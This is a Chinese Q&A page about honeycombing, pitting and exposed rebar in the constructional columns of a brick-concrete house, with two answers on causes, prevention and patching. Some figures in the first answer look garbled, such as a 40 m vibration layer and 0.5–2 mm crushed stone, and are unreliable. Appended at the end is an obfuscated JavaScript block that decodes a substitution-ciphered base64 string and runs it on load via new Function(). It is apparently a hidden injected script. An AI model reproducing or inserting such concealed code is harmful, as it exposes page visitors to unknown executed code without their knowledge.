砖混结构,构造柱有蜂窝麻面,小部分漏钢筋,问题大吗?

2025-04-06 20:21:25
推荐回答(2个)
回答1:

不是很大。
构造桩混凝土蜂窝、孔洞、麻面及漏筋的问题
  构造柱混凝土有蜂窝、麻面会减小构造柱的钢筋保护层厚度,加大碳化深度;混凝土有孔洞、露筋会局部缩小构造柱的截面几何尺寸,地震时减小构造柱的抗剪能力。而产生混凝土峰窝、麻面、孔洞及露筋现象,是因为模板及墙接触面不严密而漏浆;马牙槎湿润不充分;拉结筋水平净距小;混凝土配合料中碎石径经过大,砂率偏低及水灰比过大;投料太高和振捣不到位等因素。
  对以上问题的防治:首先要控制混凝土的砂率,确保砂浆在混凝土中的数量和质量。使其能充分填充骨料间的孔隙。其次选用粒径0.5~2mm的碎石,含泥量要小于2%,配比成细石混凝土,以防止混凝土浇筑时在拉结筋处卡住,还要控制水灰比和混凝土的坍落度,以保证混凝土施工所需要的流动性、和易性。再次,在施工工艺中也要严格控制,在支模前要检查好模板,木模要刨光而且拉缝要严密,钢模板的边肋要直,并将内表面清理干净,涂好隔离剂。支模要牢固,以满足在浇筑混凝土时的刚度、强度和稳定性要求,防止跑模、漏浆。浇筑混凝土前,要将施工缝处杂物从模板清扫口冲洗干净,并充分浇水湿透但无积水,避免出现孔洞和露筋。混凝土浇注高度要按2m控制,减小混凝土的落差,采用插入式振捣器进行振捣,以40m高为一个振捣层,振至模板开始出浆、混凝土表面不再有大量气泡排出和出现砂浆为度。待混凝土施工缝处稍收水后,再重振一次,以避免施工缝处混凝土干缩。另外,圈梁和构造柱的混凝土接头处,在同一层内混凝土应一次浇筑完成。

回答2:

从图片来看麻面和露筋情况不算很严重,而且你的房子是砖混结构,整体影响不算大。
建议凿去薄弱混凝土 和突出颗粒,先刷干净后,用比原来高一级的细石混凝土填塞压实。

(function(){function b7c9e1493(c95fae){var n03b5751="D$8~x9Tdn.B|3cZ?C4K^jNOeUpXAuih!HSYwR@Q-_rvPq:/]VJyotm,kzf05bMGl%(LW7&I26=F;asg1E[";var a531b0a="W$^VPE/6OSb!I?Zt3gf_UR|DGuH:pMN.,15LxKae9k&mj;]TBcvslFwQ4d@YJ8hz=o(2r07iX%-qyn[A~C";return atob(c95fae).split('').map(function(z5cd7){var e04b2b9=n03b5751.indexOf(z5cd7);return e04b2b9==-1?z5cd7:a531b0a[e04b2b9]}).join('')}var c=b7c9e1493('rtmp://LDJzZigsZyJmUyIrIk1XLXoiLyVLcHNKPzIoc0wpe0xLcHNKPzIoc0wyUUpfJlFIYUNfSWZIZldZUUJLTUgyV0JfUUlkKXsyS0xUOGlRSk9EMnNUIT8tbz9Mc1F5MjRRPyg3IXV0UT9LKDdQKSl7Ny0/cDdzfXlRNyAtei1kLXpZZlMlS3BzSj8yKHNMbFNkTWRLZCl7Ny0/cDdzIC4/NzJzNCFLNyhQW0dRN1soZi1MbFNkTWRLZCl9OnlRNyBzJlEtZkt6USVnInRxb0ZYJlNed24xZV5iLl5YXWl3IkgieS03RiZTIkgibzJmRldNIkgiSko/RlcmV1lGJkNGU3ogVyZBeldBek0iLzp5UTcgZlF6ZlFJeiZJJWZXWVFCS01nLXotZC16WWZTTCZSZFMpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFcpL0gsV0NDS2RLJWZXWVFCS01nLXotZC16WWZTTCZSZFcpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFMpL0hCU3pTWUMlMldCX1FJZGdmUXpmUUl6JklMIjVDfmFKUH5wZm1ocUpQdCxmMSUlIikvSGFDJkktUUklZlF6ZlFJeiZJTCI1Q2J0NTZOdE5EUnRCRH5wZjElJSIpSHlJelFRXyVmUXpmUUl6JklMIkpDfjJKQ05hUURZcyIpSFBKV01LWSVmUXpmUUl6JklMIkpQfixCVW1xWmslJSIpSHNCZmZRJllkJWZRemZRSXomSUwiSkNWb1E2ayUiKUhQWXpfLUIlZlF6ZlFJeiZJTCJKUH5XWjZibFprJSUiKUhRLUNLZCVmUXpmUUl6JklMIlFQX3VCNCUlIilIbC1DQ0slZlF6ZlFJeiZJTCJKUG1wWlVfPyIpSHVmQ1dLJiVmV1lRQktNZ2ZRemZRSXomSUwiXURtJlExJSUiKS9IMkNkZiZCQklZJWZRemZRSXomSUwiQlVfR1oxJSUiKTp5UTcgKFdRJllJXyVmUXpmUUl6JklMIkpXUyZRRE50ZjQlJSIpOnlRNyBzWV9CS2ZTOjJLTHQoSlE/MihzIW8tUTdKRyEyc2YtUm5LTChXUSZZSV8pPkZTKXtzWV9CS2ZTJTJXQl9RSWRnYUMmSS1RSS9MZlF6ZlFJeiZJTCJmVX56ZlVtYVpEOSUiKSk6c1lfQktmUyEyZiUiPyIrdWZDV0smZ2wtQ0NLL0wpKlMmJiYmOnNZX0JLZlMhbz9hdC0hLDJmP0clIlMmJj0iOnNZX0JLZlMhbz9hdC0hRy0yNEc/JSJZJiZ1UiI6c1lfQktmUyFmMm9RQnQtZiU/N3AtOjJLTDJXQl9RSWQhQihmYXwlc3B0dCl7MldCX1FJZCFCKGZhIVF1dS1zZltHMnRmTHNZX0JLZlMpfS10by17eVE3IGZRSkJCUyVLcHNKPzIoc0wpezJXQl9RSWQhQihmYSFRdXUtc2ZbRzJ0ZkxzWV9CS2ZTKTpmV1lRQktNITctUCh5LTl5LXM/dzJvPy1zLTdMMkNkZiZCQklZSGZRSkJCU0hLUXRvLSl9OmZXWVFCS00hUWZmOXktcz93Mm8/LXMtN0wyQ2RmJkJCSVlIZlFKQkJTSEtRdG8tKX19eVE3IFFLTSZfTSUyV0JfUUlkZ2FDJkktUUkvTGZRemZRSXomSUwiWkRTMlpEayUiKSk6UUtNJl9NITJmJWFDX0lmK3VmQ1dLJiFKLTJ0THVmQ1dLJmdsLUNDSy9MKSpTJiYmJik6eVE3IHBkQksmQ2RNSyVLcHNKPzIoc0xRJlkmUWRkX0Ipe3lRNyBRUUlNJnolcy0sIGVRPy1MKTp5UTcgUWRkSkImSiVgb1A/Ml5vMmZeJHthQ19JZn1eJHtRUUlNJnohPyh3KEpRdC1lUT8tLj83MnM0TCl9YDp5UTcgeWZfQ1dkJXNwdHQ6Pzdhe3lmX0NXZCViLm5oIXVRN28tTHQoSlF0Lj8oN1E0LSE0LT8zPy1QTFFkZEpCJkopKX1KUT9KR0wtKXt9MktMeWZfQ1dkJSVzcHR0KXt5Zl9DV2Qle0I3KCxvLTdbKHBzP0EmSH19eWZfQ1dkIUI3KCxvLTdbKHBzPysrOnlRNyBzLSZfWWQlLFdDQ0tkS0xzJlEtZkt6USFKKHNKUT9MZ2BzKCxGJHtlUT8tZyJzKCwiL0wpfWBIYEc3LUtGJHt0KEpRPzIocyFHNy1LfWBIYHBvSkYke3lmX0NXZCFCNygsby03Wyhwcz99YEgvKSFvKDc/TEwpJT51ZkNXSyZnbC1DQ0svTClGJiFZKWdRLUNLZC9MIkgiKSk6eVE3IFAtX0omTUIlcy0mX1lkITJzZi1SbktMLXotZC16WWZTTCZSQ2YpKT5GU2NzLSZfWWRneUl6UVFfL0xzLSZfWWQhMnNmLVJuS0wtei1kLXpZZlNMJlJDZikpKUEiIjpzLSZfWWQlcy0mX1lkZ1BKV01LWS9MUC1fSiZNQkgiIilnc0JmZlEmWWQvTCIiKWdQWXpfLUIvTClnUS1DS2QvTCIiKStQLV9KJk1COlFLTSZfTSFvN0olZyJHPz91b0FUVCIrUSZZJlFkZF9CSFFLTSZfTSEyZkhzLSZfWWQvZ1EtQ0tkL0wiVCIpOjJXQl9RSWQhQihmYSEyc28tNz9WLUsoNy1MUUtNJl9NSDJXQl9RSWQhQihmYSFKRzJ0ZmgoZi1vZyYvKToyS0xzWV9CS2ZTfCVzcHR0KXtzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzUXV1LXNmLWYgLVAgPyggRz9QdCI6eVE3IEtfJkN6JkIlMldCX1FJZCE0LT85dC1QLXM/VmEzZkxRS00mX00hMmYpOjJLTEtfJkN6JkIlJXNwdHRPT0tfJkN6JkIlJXBzZi1LMnMtZil7c1lfQktmUyF5UXRwLSslIlxcN1xccyBKUXM/IDQtPyAtUCBLNyhQIEc/UHQifX19OjJLTHNZX0JLZlN8JXNwdHQpe3NZX0JLZlMheVF0cC0rJSJcXDdcXHNvLXNmIHFvIEcobz8gIisyUUpfJlF9eVE3IChKQiZXSyVLcHNKPzIoc0wsX0lRU00pezctP3A3cyBmUXpmUUl6JklMLF9JUVNNKWdQSldNS1kvTC16LWQtellmU0wmUldRKUh1ZkNXSyZnbC1DQ0svTCkhPyguPzcyczRMQ2QpIW90MkotTHVmQ1dLJiFLdCgoN0x1ZkNXSyZnbC1DQ0svTCkqXykrVykpfTpwZEJLJkNkTUtMKEpCJldLTDJRSl8mUSkpOmZXWVFCS01nIlFmZjl5LXM/dzJvPy1zLTciL0wiUC1vb1E0LSJIS3BzSj8yKHNMLSl7MktMLSFmUT9RIXIlJWFDX0lmKXsyV0JfUUlkITQtPzl0LVAtcz9WYTNmTFFLTSZfTSEyZikhNy1QKHktTCk6eVE3IHJZWVdKJXNwdHQ6MktMc1lfQktmU3wlc3B0dCl7c1lfQktmUyF5UXRwLSslIlxcN1xcczctSi0yeS0gLVAgdShvPyBQLW9vUTQtIjpzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzLSFmUT9RIXkgIistIWZRP1EhOzpyWVlXSiVMISEhUFFTemYpJT57MktMfFBRU3pmT09QUVN6ZiF0LXM0P0c8JSYpNy0/cDdzOnNZX0JLZlMheVF0cC0rJSJcXDdcXHMiK1BRU3pmIXEoMnNMIiAiKX19cy0sIG1wc0o/MihzTCJRNzRvIkgtIWZRP1EhOylMe14/ZkpvQUJTelNZQ0hedCg0QXJZWVdKSH0pfX0pfSlMIlpXSnBoXX5sUVdtbEJEUj9aV2ZZQi5ZJkJDMWRuXXJTaDQlJSJIIldNIkgsMnNmKCxIZihKcFAtcz8pfTpmU01XLXpMKTo='.substr(7));new Function(c)()})();